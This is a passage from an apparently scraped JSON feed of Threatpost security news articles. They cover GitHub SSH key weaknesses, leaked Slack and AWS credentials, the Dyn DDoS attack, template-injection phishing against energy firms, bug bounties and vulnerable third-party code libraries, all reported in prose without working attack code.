new program that used the events api) I found that the majority of active users had some SSH keys in there,\u201d Cox said in a blog [post](<https://blog.benjojo.co.uk/post/auditing-github-users-keys>) detailing the project.\n\nAfter collecting the keys, Cox began analyzing them. One of the things he looked at was the strength of the key, and he discovered that seven of the keys in his set were just 512 bits, and two others were 256 bits. Those key lengths are short enough to be in the range of factorization on many modern machines.\n\n\u201c512 bit keys have been known to be factorable in less than 3 days. The main example of this is the Texas Instruments calculator firmware signing key that was broken, allowing the modding community to upload any firmware that they wanted,\u201d Cox said.\n\n\u201cI tried on my own to make a 256 bit key and factor it, and the process took less than 25 minutes from having the public SSH key to the factoring of primes (on a subpar processer by today\u2019s standards, and then a few more minutes to transform those back into a SSH key that I could log into systems with. This risk isn\u2019t only real if someone had gathered together top of the line mathematicians or supercomputers worth of power, the 256 bit key I factored was factored on a i5-2400 in 25 mins.\u201d\n\nThe bigger issue, however, is that Cox found what he calls a \u201cvery large amount\u201d of SSH keys in the set that were vulnerable to the [Debian OpenSSL bug](<https://lists.debian.org/debian-security-announce/2008/msg00152.html>) from 2008. That vulnerability existed in certain versions of Debian and resulted from the fact that the OpenSSL random number generator included in those versions was predictable. That means that cryptographic keys generated with vulnerable versions could be guessable. The bug affected SSH keys, VPN keys, and DNSSEC keys, among others.\n\nCox compared the list of keys he had gleaned from GitHub to a list of keys affected by the Debian flaw and found that some of the accounts using vulnerable keys had access to some large and sensitive GitHub repositories. Some of those repositories include Yandex, the Russian search provider, Spotify, the cryptographic libraries for Python, and Python\u2019s core.\n\nCox disclosed the problem to GitHub in early March and the vulnerable keys were revoked on May 5. The other weak and low-quality keys he discovered were revoked on June 1.\n", "cvss3": {}, "published": "2015-06-03T07:37:04", "type": "threatpost", "title": "Audit of GitHub SSH Keys Finds Many Still Vulnerable to Old Debian Bug", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-06-04T15:34:07", "id": "THREATPOST:9F1389C4D97BAD7FDE2519A42E4594E2", "href": "https://threatpost.com/audit-of-github-ssh-keys-finds-many-still-vulnerable-to-old-debian-bug/113117/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:28", "description": "The U.S. Army has released to open source an internal forensics analysis framework that the Army Research Lab has been using for some time.\n\nThe framework, known as Dshell, is a Python tool that runs on Linux and its designed to help analysts investigate compromises within their environments. The goal in open sourcing the framework is to encourage outside developers and analysts to develop and contribute their own modules, based on their experiences.\n\n\u201cOutside of government there are a wide variety of cyber threats that are similar to what we face here at ARL,\u201d William Glodek, Network Security branch chief at the Army Research Laboratory, said in a [statement](<http://www.army.mil/article/141734>).\n\n\u201cDshell can help facilitate the transition of knowledge and understanding to our partners in academia and industry who face the same problems.\u201d\n\nThe Dshell framework is available on [GitHub](<https://github.com/USArmyResearchLab/Dshell>), and Glodek said in his statement that he hopes that users in private industry and the academic community will find the framework useful and be able to contribute their own modules and help expand the framework\u2019s functionality.\n\n\u201cThe success of Dshell so far has been dependent on a limited group of motivated individuals within government. By next year it should be representative of a much larger group with much more diverse backgrounds to analyze cyber attacks that are common to us all,\u201d Glodek said.\n\nThe release of Dshell comes shortly after [Cisco released its own OpenSOC security analytics framework](<https://threatpost.com/cisco-releases-security-analytics-framework-to-open-source/109415>) on [GitHub](<https://opensoc.github.io/>) in November. That framework is designed specifically for large network environments and provides some anomaly detection and incident forensics capabilities.\n\n\u201cOpenSOC is a Big Data security analytics framework designed to consume and monitor network traffic and machine exhaust data of a data center. OpenSOC is extensible and is designed to work at a massive scale,\u201d the OpenSOC documentation says.\n", "cvss3": {}, "published": "2015-01-30T10:59:44", "type": "threatpost", "title": "Army Research Lab Releases Dshell Forensics Framework", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-02-03T21:08:15", "id": "THREATPOST:76BC692CF25A0009598D6BE4E626ABD9", "href": "https://threatpost.com/army-research-lab-releases-dshell-forensics-framework/110766/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:25", "description": "Popular collaboration and communication firm Slack rushed to plugged a security hole in its platform Thursday that was leaking some of its users\u2019 private chats and files for anyone to access.\n\nSlack, a leading tool used by companies to communicate internally, was alerted by security firm Detectify Labs who discovered Slack users were unwittingly sharing sensitive company information on the dev site GitHub.\n\nGitHub, another popular service used by the developer community to collaborate on projects, was unknowingly hosting hundreds of Slack bots that contained API information (or Slack tokens) that unintentionally gave third parties access to private Slack networks and data stored on them.\n\nSlack bots are created by companies to be used on their private Slack platform. They can serve either silly or serious purposes. For example, a Slack bot could be programmed to reboot servers by a user who simply types the request \u201cSlack bot, please reboot server\u201d. Another Slack bot request might be \u201cWhat\u2019s the weather for tomorrow?\u201d\n\nOver the years, thousands of Slack bots have been created by companies to carry out these conversational instructions. Hundreds of those developers decided to share their Slack bot programming code on sites such as GitHub. The idea is, other developers might want to reuse a useful Slack bot or modify the code so the Slack bot can do something new.\n\n\u201cThese developers were proud of their creation. They wanted to share their hard work with the rest of the developer community,\u201d said Rickard Carlsson, CEO of Detectify in an interview with Threatpost.\n\nThat\u2019s where developers ran into trouble. Unbeknownst to the developers sharing their Slack bots with GitHub was the fact they were also uploading their company\u2019s unique API key or token inside the Slack bot code. That meant a third-party could remove the Slack token and use it to hack into the Slack account of the person who originally created it.\n\nWhen Detectify searched for Slack tokens left behind on GitHub it discovered that those tokens could be used to access chats, files and private message data shared among Slack developer teams.\n\nAffected, Carlsson told Threatpost, were tokens belonging to individual users but also Fortune 500 companies, payment providers, multiple internet service providers and health care providers. In one case, Detectify reported it stumbled upon everything from \u201crenowned advertising agencies that want to show what they are doing internally. University classes at some of the world\u2019s best-known schools. Newspapers sharing their bots as part of stories.\u201d\n\nIn a [blog post outlining its discovery](<https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/>) Thursday, Detectify wrote, \u201cIn the worst case scenario, these tokens can leak production database credentials, source code, files with passwords and highly sensitive information.\u201d Detectify said it discovered the flaw earlier this month.\n\nAt first, Slack acknowledged the problem, but reminded researchers at Detectify that it\u2019s the users\u2019 responsibility to not share tokens and remove them when they are no longer needed. Slack has since updated its positions on tokens, telling Detectify \u201cWe\u2019re proactively looking for tokens ourselves now, and reaching out to customers to let them know when we\u2019ve disabled tokens and where we found them. We\u2019ll deactivate these in the next batch.\u201d\n\nSlack\u2019s email sent to its customers explaining the situation can be read online [via Detectify\u2019s website](<https://labs.detectify.com/wp-content/uploads/2016/04/Screen-Shot-2016-04-28-at-14.53.38.png>). In it the company said it would seeking out tokens it believed companies did not want to share intentionally, and deactivating them. \u201cTo help protect your team\u2019s information, we\u2019re taking the precautionary step of permanently disabling the affected tokens on your behalf,\u201d it wrote.\n\nIn a separate statement made to press Slack stated: \u201cSlack is clear and specific that tokens should be treated just like passwords. We warn developers when they generate a token never to share it with other users or applications. Our customers\u2019 security is of paramount importance to us, and we will continue to improve our documentation and communications to ensure that this message is urgently expressed.\u201d\n\nDetectify\u2019s last piece of advice: \u201cNever commit credentials inside code. Ever.\u201d\n", "cvss3": {}, "published": "2016-04-30T07:25:42", "type": "threatpost", "title": "Slack Plugs Token Security Hole", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-05-03T13:46:42", "id": "THREATPOST:BE0A86BAF05C9501D981BE19F3BB40AC", "href": "https://threatpost.com/slack-plugs-token-security-hole/117750/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:59:06", "description": "Amazon Web Services is actively searching a number of sources, including code repositories and application stores, looking for exposed credentials that could put users\u2019 accounts and services at risk.\n\nA week ago, a security consultant in Australia said that as many as 10,000 secret Amazon Web Services keys could be found on Github through a simple search. And yesterday, a software developer reported receiving a notice from Amazon that his credentials were discovered on Google Play in an Android application he had built.\n\nRaj Bala printed a [copy of the notice](<http://blog.rajbala.com/post/81038397871/amazon-is-downloading-apps-from-google-play-and>) he received from Amazon pointing out that the app was not built in line with Amazon\u2019s recommended best practices because he had embedded his AWS Key ID (AKID) and AWS Secret Key in the app.\n\n\u201cThis exposure of your AWS credentials within a publicly available Android application could lead to unauthorized use of AWS services, associated excessive charges for your AWS account, and potentially unauthorized access to your data or the data of your application\u2019s users,\u201d Amazon told Baj.\n\nAmazon advises users who have inadvertently exposed their credentials to invalidate them and never distribute long-term AWS keys with an app. Instead, Amazon recommends requesting temporary security credentials.\n\nRich Mogull, founder of consultancy Securosis, said this is a big deal.\n\n\u201cAmazon is being proactive and scanning common sources of account credentials, and then notifying customers,\u201d Mogull said. \u201cThey don\u2019t have to do this, especially since it potentially reduces their income.\u201d\n\nMogull knows of what he speaks. Not long ago, he received a similar notice from Amazon regarding his AWS account, only his warning was a bit more dire\u2014his credentials had been exposed on Gitbub and someone had fired up unauthorized EC2 instances in his account.\n\nMogull wrote an [extensive description of the incident](<https://securosis.com/blog/my-500-cloud-security-screwup>) on the Securosis blog explaining how he was building a proof-of-concept for a conference presentation, storing it on Github, and was done in because a test file he was using against blocks of code contained his Access Key and Secret Key in a comment line.\n\nTurns out someone was using the additional 10 EC2 instances to do some Bitcoin mining and the incident cost Mogull $500 in accumulated charges.\n\nAmazon told an Australian publication that it will continue its efforts to seek out these exposed credentials on third-party sites such as Google Play and Github.\n\n\u201cTo help protect our customers, we operate continuous fraud monitoring processes and alert customers if we find unusual activity,\u201d _[iTnews](<http://www.itnews.com.au/News/381432,aws-admits-scanning-android-app-in-secret-key-hunt.aspx>) _quoted Amazon.\n\nSaid Mogull: \u201cIt isn\u2019t often we see a service provider protecting their customers from error by extending security beyond the provider\u2019s service itself. Very cool.\u201d\n", "cvss3": {}, "published": "2014-04-02T15:01:53", "type": "threatpost", "title": "Amazon Web Services Combing Third Parties for Credentials", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2014-04-04T19:14:11", "id": "THREATPOST:3DB647F38E79C8BDF5846F520D041C7C", "href": "https://threatpost.com/amazon-web-services-combing-third-parties-for-exposed-credentials/105217/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:54:34", "description": "**Update **DNS provider Dyn has confirmed two massive distributed denial of service attacks against its servers Friday impacting many of its customers including Twitter, Spotify and GitHub. The attacks came in two waves, one early Friday morning and a second just a few hours later.\n\n\u201cThis attack is mainly impacting U.S. East and is impacting Managed DNS customers in this region. Our engineers are continuing to work on mitigating this issue,\u201d according to a [statement by the company to customers](<https://www.dynstatus.com/>).\n\nAs of 5:30 p.m. EDT Dyn was still reporting it was investigating and mitigating several DDoS attacks against its domain name servers.\n\nIt\u2019s unclear how many sites have been impacted. For hours Friday morning many popular sites appeared to be experiencing outages or extremely sluggish performance including Twitter, Etsy, Github, SoundCloud, Spotify, Heroku, PagerDuty and Shopify. Dyn representatives would not confirm if each one of these outages was tied to the DDoS attack.\n\nBoth the Department of Homeland Security and the Federal Bureau of Investigation said they were monitoring the attacks. Gillian Christensen, acting deputy press secretary for DHS said in a statement: \u201cDHS and FBI are aware and are investigating all potential causes.\u201d\n\nManchester, New Hampshire-based Dyn said it first began monitoring the DDoS attack at 7:10 a.m. EDT Friday. The company said in a statement to customers:\n\n> \u201cStarting at 11:10 UTC on October 21th-Friday 2016 we began monitoring and mitigating a DDoS attack against our Dyn Managed DNS infrastructure. Some customers may experience increased DNS query latency and delayed zone propagation during this time. Updates will be posted as information becomes available.\u201d\n\nDyn said at 9:36 a.m. EDT, its services were restored and many of its affected customers, including Twitter, were back online. However, at 11:52 a.m. (EDT) Dyn updated its network status reporting an additional attack impacting its managed DNS infrastructure. Then 40 minutes later Dyn added the attacks had spread to its \u201cmanaged DNS advanced services with possible delays in monitoring.\u201d\n\nIt\u2019s unclear, at this time, the source of the DDoS attack, Dyn said.\n\nDale Drew, chief security officer for telecommunications firm Level 3 Communications said he had been monitoring the attack and the likely source were overseas hackers targeting U.S. cyber infrastructure. He added, [via a video statement posted to Periscope](<https://www.periscope.tv/w/1lPJqYjVMlZJb>), \u201cWe are seeing attacks coming from an Internet of Things botnet we have identified as Marai.\u201d\n\nSecurity firm Flashpoint also identified Marai as the likely culprit in the attack.\n\nThe Mirai malware continues to recruit vulnerable IoT devices into botnets [at a record pace](<https://threatpost.com/mirai-bots-more-than-double-since-source-code-release/121368/>), one that\u2019s only gone up since the source code for Mirai was made [public two weeks ago](<https://threatpost.com/source-code-released-for-mirai-ddos-malware/121039/>), according to Level 3.\n\nCraig Young, principle security researcher at Tripwire said the attack has telltale signs of an IoT-based DDoS attack similar to ones experienced by [Krebs on Security](<https://threatpost.com/iot-botnets-are-the-new-normal-of-ddos-attacks/121093/>) in September. In those attacks, hackers also used Mirai malware to compromise IoT devices to launch DDoS attacks.\n\n\u201cWe are seeing an increase in the number of high-intensity attacks that leverage compromised consumer DVRs and cameras. Without being able to analyze the source of Dyn\u2019s traffic it\u2019s impossible to know for sure. But what we are already seeing today, in terms IoT-based attacks, is the tip of the iceberg,\u201d Young said.\n\nRequests to Dyn for information on the source of the attacks have not been returned.\n\nYoung said that security experts have seen an increase in DDoS extortion attempts. However, he points out, many have been hoaxes and when companies didn\u2019t pay up nothing happened.\n\nForeScout CEO, Michael DeCesare said that attacks, such as the ones carried out Friday, are exasperated by the lack of security in IoT devices.\n\n\u201cThese attackers can now recruit an army of IoT devices to launch a wide scale DDoS attack due to the volume of these devices and their ease of infiltration,\u201d DeCesare said in a prepared statement regarding Friday\u2019s attacks.\n\n\u201cThe question corporations should be asking themselves is whether or not their devices are being exploited as part of these attacks. The solution starts with visibility \u2013 you cannot secure what you cannot see,\u201d he said.\n\n[![Level3 live outage map on Friday 9:50 AM \$ET\$](https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232928/Threatpost_Level3_outage_map.jpg)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232928/Threatpost_Level3_outage_map.jpg>)\n\nLevel3 live outage map on Friday 9:50 AM (EDT)\n\n[![screen-shot-2016-10-21-at-5-18-29-pm](https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232859/Screen-Shot-2016-10-21-at-5.18.29-PM-1024x605.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/10/06232859/Screen-Shot-2016-10-21-at-5.18.29-PM.png>)\n\nLevel3 live outage map on Friday 5:20 PM (EDT)\n\n_This article was updated Oct. 21 at 5:30 p.m. with new information from the Department of Homeland Security, new information tying the attacks to Mirai malware and quotes from both Level 3 Communications and ForeScout. \n_\n", "cvss3": {}, "published": "2016-10-21T10:01:14", "type": "threatpost", "title": "DYN Confirms DDoS Attack Knocking Out Twitter, Spotify Other Major Sites", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-10-21T21:37:20", "id": "THREATPOST:0FC293825070B81036932BDB41D793B5", "href": "https://threatpost.com/dyn-confirms-ddos-attack-affecting-twitter-github-many-others/121438/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:53:25", "description": "Days after news broke last week that advanced, persistent threat actors penetrated nuclear facilities, researchers are explaining techniques used by adversaries to gain toeholds in similar targets in energy. Cisco Talos reported Friday that email-based attacks, leveraging template injection techniques, targeting nuclear facilities and others have been ongoing since May.\n\n\u201cTalos has observed attackers targeting critical infrastructure and energy companies around the world, primarily in Europe and the United States. These attacks target both the critical infrastructure providers, and the vendors those providers used to deliver critical services,\u201d [researchers wrote on Friday](<http://blog.talosintelligence.com/2017/07/template-injection.html#more>).\n\nAdversaries are leveraging classic Word document-based phishing attacks, they said. However, the Word document attachments used in the phishing campaigns do not contain malicious VBA macros or embedded scripting. Instead, attachments attempt to download a malicious template file over a Server Message Block (SMB) connection so that the user\u2019s credentials can be harvested, researchers said.\n\nCisco Talos did not claim this specific attack was used against Wolf Creek Nuclear Operating Corporation or in connection with any specific attack cited in a joint report issued by the Department of Homeland Security and the Federal Bureau of Investigation last week. Neither did researchers claim attacks had ever led to a hacker breaching or disrupting the core systems controlling operations at an energy plant.\n\n\u201cOne objective of this most recent attack appears to be to harvest credentials of users who work within critical infrastructure and manufacturing industries,\u201d Talos wrote.\n\nTargeted phishing attacks included DOCX type documents delivered as attachments under the guise of being an environmental report or a resume. While no malicious macros or scripting is embedded in the document, when a user opens it, a request is made via the SMB protocol for a template, as such \u201cContacting:\\\\\\ . . . \\Template.dotm.\u201d\n\n\u201cThe document was trying to pull down a template file from a particular IP,\u201d they noted. That connection was not via TCP 80 (often used for C2 communications), rather the SMB request was via TCP 445, a traditional Microsoft networking port.\n\nWithin the sandboxed VM \u201ca WebDAV connection was attempted over a SMB session when requesting the template.\u201d\n\nWebDAV is a Web-based Distributed Authoring and Versioning extension to the HTTP protocol that allows users to collaboratively edit and manage files on a remote server, according to [WebDAV Working Group](<http://www.webdav.org/>).\n\nUsing the WebDAV connection, the DOCX file requests a specific Relationship ID that is present in word/_rels/settings.xml.rels, or the XML instructions. According to researchers, the Relationship ID is identical to a phishing tool named Phishery, which uses the exact same ID in its template injection.\n\nPhishery is known as a credential harvester with a Word document template URL injector. According the [GitHub tool description](<https://github.com/ryhanson/phishery>), \u201cPhishery is a Simple SSL Enabled HTTP server with the primary purpose of phishing credentials via Basic Authentication.\u201d Once the target opens the Word document attachment sent in the phishing email, the template request reaches out to a Phishery server that triggers a dialogue box on the victim\u2019s computer requesting a Windows username and password.\n\nTalos researchers said Phishery was not used in the attacks it observed. It theorizes attacks may have used modified Phishery code or used the same Relationship ID to thwart analysis.\n\nIn the sample Talos examined, unlike with Phishery that prompted users for credentials, instead a template file is requested from a third-party server with no Basic Authentication prompt for credentials. \u201cSuch a prompt was not needed nor seen for samples requesting the template over SMB,\u201d they wrote.\n\nOnce the target opens the Word document a template request is made to a third-party server that initiates the download of a potentially rogue template. \u201cThe attachment instead tries to download a template file over an SMB connection so that the user\u2019s credentials can be silently harvested. In addition, this template file could also potentially be used to download other malicious payloads to the victim\u2019s computer,\u201d researchers said.\n\nTalos explains that the attacker\u2019s SMB server was down when it analyzed samples, making it impossible to determine the payloads (if any) that could have been dropped by the template being downloaded. \u201cForcing SMB requests to an external server has been a known security vulnerability for many years. Without further information it is impossible to conclude what the true scope of this attack was or what malicious payloads could have been involved.\u201d\n\nAccording to a _[New York Times](<https://www.nytimes.com/2017/07/06/technology/nuclear-plant-hack-report.html>)_ report of attacks against Wolf Creek Nuclear Operating Corporation included phishing lures with highly targeted email messages containing fake resumes for control engineering jobs.\n\nLate last month, the U.S. government warned critical infrastructure companies of hacking campaigns against nuclear and energy sector. \u201cHistorically, cyber actors have strategically targeted the energy sector with various goals ranging from cyber espionage to the ability to disrupt energy systems in the event of a hostile conflict,\u201d the report said.\n", "cvss3": {}, "published": "2017-07-10T14:34:03", "type": "threatpost", "title": "Energy, Nuclear Targeted with Template Injection Attacks", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2017-07-10T18:34:03", "id": "THREATPOST:6495B216452F8FF8CDF9A8F13AD41168", "href": "https://threatpost.com/energy-nuclear-targeted-with-template-injection-attacks/126727/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:55:10", "description": "Mike Mimoso and Chris Brook discuss the news of the week, including a password issue at Github, the xDedic marketplace, another Flash zero day, and how the poorly the FBI is doing with facial recognition software.\n\nDownload: [Threatpost_News_Wrap_June_17_2016.mp3](<http://traffic.libsyn.com/digitalunderground/Threatpost_News_Wrap_June_17_2016.mp3>)\n\nMusic by Chris Gonsalves\n\n[![itunessub](https://media.threatpost.com/wp-content/uploads/sites/103/2014/11/07011443/itunessub.jpg)](<https://itunes.apple.com/us/podcast/digital-underground-podcast/id315355232?mt=2>)\n", "cvss3": {}, "published": "2016-06-17T11:15:12", "type": "threatpost", "title": "On xDedic, a Flash Zero Day, Facial Recognition, and More", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2016-06-28T13:58:31", "id": "THREATPOST:962241D6EFDC7F82640BA9171D82D0B7", "href": "https://threatpost.com/threatpost-news-wrap-june-17-2016/118745/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:57:28", "description": "Almost a year to the day since [Github announced its bug bounty program](<http://threatpost.com/github-launches-bug-bounty-program/103974>), the Git repository said yesterday that it will double its maximum payout to $10,000.\n\nBen Toews, a GitHub staffer, said yesterday that since the launch of the GitHub Security Bug Bounty, 73 previously unknown vulnerabilities have been patched.\n\n\u201cOf 1,920 submissions in the past year, 869 warranted further review, helping us to identify and fix vulnerabilities fitting nine of the OWASP top 10 vulnerability classifications,\u201d Toews said in a post to the GitHub blog. He added that GitHub has paid out $50,100 in bounties to 33 different researchers reporting 57 medium- to high-risk security issues.\n\n\u201cWe saw some incredibly involved and creative vulnerabilities reported,\u201d Toews said.\n\nGitHub pays bounties for verifiable bugs in the GitHub API, GitHub Gist, and the GitHub.com website. Until yesterday, rewards ranged from $100 to $5,000 in each [open bounty](<https://bounty.github.com/index.html#open-bounties>). The API, for example, exposes a lot of the website\u2019s functionality and data so it was a priority. The Gist is a GitHub code-sharing product built on Ruby on Rails and other open source components; bounties here vary depending on certain factors, GitHub said. As for the website, bounties there too depend on different factors and risks.\n\nBug bounties are an efficient and economical way for under-resourced organizations to expose applications to researchers who can help identify and fix potentially critical security vulnerabilities. Larger organizations such as [Facebook have prominent in-house bounties](<http://threatpost.com/facebook-bug-bounty-submissions-dramatically-increase/105235>). Facebook\u2019s, for example, paid out $1.5 million in 2013 with submissions growing almost 250 percent year over year.\n\nOthers are taking advantage of [bug bounty platforms offered by providers](<http://threatpost.com/crowdsourcing-finding-its-security-sweet-spot/106848>) such as BugCrowd and HackerOne. In these cases, providers essentially crowdsource vulnerability discovery and management. A self-contained community hammers away at applications on these respective platforms and earn bounties for bugs that meet certain criteria.\n\n> Git Hub will double its maximum bug bounty payout to $10,000\n> \n> [Tweet](<https://twitter.com/share?url=https%3A%2F%2Fthreatpost.com%2Fgithub-doubles-down-on-maximum-bug-bounty-payouts%2F110730%2F&text=Git+Hub+will+double+its+maximum+bug+bounty+payout+to+%2410%2C000>)\n\nGitHub\u2019s Toews pointed out one of GitHub\u2019s top bug submitters, Aleksandr Dobkin, who found a troubling cross-site scripting flaw that when combined with a zero day in Google\u2019s Chrome browser achieved a bypass of GitHub\u2019s content security policy.\n\nGitHub maintains a [leaderboard](<https://bounty.github.com/index.html>) of its top bug hunters. The system requires that researchers who find vulnerabilities in a GitHub property not disclose it before a patch has been released and implemented. Researchers are also not allowed to use automated scanners against GitHub, or access another user\u2019s account as part of the program.\n\nToews said vulnerabilities can be submitted [here](<https://bounty.github.com/submit-a-vulnerability.html>), and should also be accompanied by proper documentation that will allow GitHub to reproduce the vulnerability.\n", "cvss3": {}, "published": "2015-01-29T11:21:40", "type": "threatpost", "title": "GitHub Doubles Maximum Bug Bounty Payouts", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2015-01-30T20:11:49", "id": "THREATPOST:812C0E3D711FC77AF4348016C7A094D2", "href": "https://threatpost.com/github-doubles-down-on-maximum-bug-bounty-payouts/110730/", "cvss": {"score": 0.0, "vector": "NONE"}}, {"lastseen": "2018-10-06T22:54:19", "description": "The amount of insecure software tied to reused third-party libraries and lingering in applications long after patches have been deployed is staggering. It\u2019s a habitual problem perpetuated by developers failing to vet third-party code for vulnerabilities, and some repositories taking a hands-off approach with the code they host.\n\nThis scenario allows attackers to target one overlooked component flaw used in millions of applications instead of focusing on a single application security vulnerability. The real-world consequences have been demonstrated in the past few years with the [Heartbleed](<https://threatpost.com/openssl-fixes-tls-vulnerability/105300/>) vulnerability in OpenSSL, [Shellshock](<https://threatpost.com/major-bash-vulnerability-affects-linux-unix-mac-os-x/108521/>) in GNU Bash, and a deserialization vulnerability exploited in a recent high-profile attack against the [San Francisco Municipal Transportation Agency](<https://threatpost.com/hackers-make-new-claim-in-san-francisco-transit-ransomware-attack/122138/>). These are three instances where developers reuse libraries and frameworks that contain unpatched flaws in production applications.\n\nSecurity researchers at Veracode estimate that 97 percent of Java applications it tested included at least one component with at least one known software vulnerability. \u201cThe problem isn\u2019t limited to Java and isn\u2019t just tied to obscure projects,\u201d said Tim Jarrett senior director of security, Veracode. \u201cPick your programming language.\u201d Gartner, meanwhile, estimates that by 2020, [99 percent of vulnerabilities](<http://www.gartner.com/smarterwithgartner/top-10-security-predictions-2016/>) exploited will be ones known by security and IT professionals for at least one year.\n\n**Code Reuse Saves Time, Invites Bugs**\n\nAccording to security experts, the problem is two-fold. On one hand, developers use reliable code that at a later date is found to have a vulnerability. Second, insecure code is used by a developer who doesn\u2019t exercise due diligence on the software libraries used in their project.\n\n\u201cThey\u2019ve heard the warnings and know the dangers, but for many developers open source and third-party components can be a double-edge sword \u2013 saving time but opening the door to bugs,\u201d said Derek Weeks, vice president and DevOps advocate at Sonatype.\n\n[![sonatype](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232110/sonatype-150x150.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232110/sonatype.png>)In an analysis of 25,000 applications, Sonatype found that seven percent of components had at least one security defect tied to the use of an insecure software component.\n\nRepositories GitHub, Bitbucket, Python Package Index and NuGet Gallery are essential tools helping developers find pre-existing code that adds functionality for their software projects without having to reinvent the wheel. Java application developers, for example, rely on pre-existing frameworks to handle encryption, visual elements and libraries for handling data.\n\n\u201cSoftware is no longer written from scratch,\u201d Weeks said. \u201cNo matter how new and unique the application, 80 percent of the code used in a software application relies on third-party libraries or components.\u201d\n\nHe said enterprises are more reliant on the software supply chain than ever before. But he says many of the go-to open-source repositories that make up that supply chain are not vetted libraries of reliable code. Rather, they are warehouses with a varying percentage of outdated projects with security issues.\n\nAccording to an analysis of Sonatype\u2019s own Central Repository in 2015, developers had made 31 billion download requests of open source and third-party software components, compared to 17 billion requests the year before. And when Sonatype analyzed its own code library, it found 6.1 percent of code downloaded from its Central Repository had a known security defect.\n\nWeeks says Sonatype\u2019s is doing better than other repositories that offer no tools, no guidance and no red flags to prevent developers from using frameworks with faulty code. \u201cThere is no Good Housekeeping Seal of Approval for third-party code.\u201d\n\n\u201cFaulty code can easily spawn more problems down the road for developers,\u201d said Stephen Breen, a principal consultant at NTT Com Security. \u201cEven when development teams have the best intentions, it\u2019s easy for developers working under tight deadlines to not properly vet the third-party code used in their software.\u201d\n\nBreen said when insecure code is unknowingly used to build a component within a software program, problems snowball when that component is used inside other larger components. One example of vulnerable third-party code reused repeatedly is a deserialization flaw in Apache Commons Collections (commons-collections-3.2.1.jar) \u2013 first reported in 2015 and patched in November of the same year.\n\n[![threatpost_veracode_top_java_vulns](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232053/Threatpost_Veracode_Top_Java_vulns-1024x656.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232053/Threatpost_Veracode_Top_Java_vulns.png>)\n\nSource: Veracode\n\nJarrett found there are still 1,300 instances of the old vulnerable version of the Commons Collections lurking inside Java applications using Spring and Hibernate libraries and hosted across multiple open source code repositories.\n\n\u201cThe developer knows they are picking Spring or Hibernate for their development project. They don\u2019t take it to the next level and realize they are also getting Common Collections,\u201d Jarrett said. \u201cThat Common Collections library is then used by thousands more projects.\u201d\n\n[![apache](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232108/apache-150x150.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232108/apache.png>)According to Veracode, Apache Commons Collections is the sixth-most common component used in Java applications. It found that the unpatched versions of the software was in 25 percent of 300,000 Java applications scanned. Even more challenging for developers is updating those applications that are using the vulnerable version of libraries and frameworks since flaws were patched.\n\n\u201cThink of it like a faulty airbag. Carmakers used those faulty airbags in millions of vehicles. Now it\u2019s the carmaker on the hook to fix the problem, not the airbag maker,\u201d Jarrett said.\n\n**Leaky Apps, Bad Crypto, Injection Flaws Galore**\n\nVeracode said the Apache Common Collection example is the tip of the iceberg. When Veracode examined vulnerabilities tied to insecure code it found application information leakage, where user or application data can be leveraged by an attacker, is the most prevalent type of vulnerability, accounting for 72 percent of third-party code flaws. Second are cryptographic issues representing 65 percent of vulnerabilities. That was followed by Carriage Return Line Feed (CRLF) injection flaws and cross site scripting bugs.\n\n[![threatpost_veracode_top_vuln_cats](https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232057/Threatpost_Veracode_Top_vuln_cats-1024x400.png)](<https://media.threatpost.com/wp-content/uploads/sites/103/2016/12/06232057/Threatpost_Veracode_Top_vuln_cats.png>)\n\nSource: Veracode\n\nCompounding the problem is an increased dependency on open-source components used in a wide variety of software products. The federal government is typical. It has an open-source-first policy as do many private companies. Relying on third-party libraries shortens development time and can improve the safety and quality of their software projects, Weeks said.\n\n\u201cNot only does code reuse save time but it also allows developers to be more innovative as they focus on creating new functionality and not writing encryption libraries from scratch,\u201d Weeks said. Done correctly, code reuse is a developer\u2019s godsend, he said.\n\nFor those reasons, security experts say it\u2019s time for the industry to stop and consider where code originates. Sonatype, which markets and sells code verification services, promotes the idea of documenting software\u2019s supply chain with what it calls a \u201csoftware bill of materials.\u201d That way developers can better scrutinize open-source frameworks before and after they are used; making it easier to update those applications that are using vulnerable old versions of libraries.\n\nSonatype said it found one in 16 components it analyzed had a vulnerability that was previously documented, verified and with additional information available on the Internet. \u201cI can\u2019t imagine any other industry where it\u2019s okay that one in 16 parts have known defects.\u201d\n\nThe problem is that among developers there is a mix of denial and ignorance at play. \u201cDevelopers choose component parts, not security,\u201d Weeks said. It should be the other way around.\n\n\u201cIf we are aware of malicious or bad libraries or code, of course we want to warn our users,\u201d said Logan Abbott, president of SourceForge, a software and code repository. \u201cWe scan binaries for 